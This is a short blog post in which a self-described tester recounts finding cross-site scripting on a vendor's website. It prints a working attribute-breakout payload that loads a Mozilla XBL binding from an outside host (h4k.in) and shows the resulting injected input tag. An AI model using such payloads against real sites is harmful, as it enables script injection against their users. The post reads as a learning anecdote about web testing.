XSS on a vendors website

I am still testing on the application for flaws. However, it is so secure that i can't do a single thing. In the end, i end up testing a vendors site for XSS. The vendor did a good job of escaping < and > characters and it gave me <SCRIPT>alert(2)</SCRIPT> when i view the source code. I was dejected as i knew there is something more i can do. A few minutes later, .mario was online and i told him about my problem. Immediatedly, he came up with a trick that allows XSS to happen. So in the end, i entered " style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)" a=" into the one of the form fields and when i view the source code, it was totally injected! This was what it displayed on the source code

[input name="TxnEnd_Param" value="" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss)" a="" type="hidden"]

Thank you .mario, you helped me understand XSS a lot more.

The Hacka Man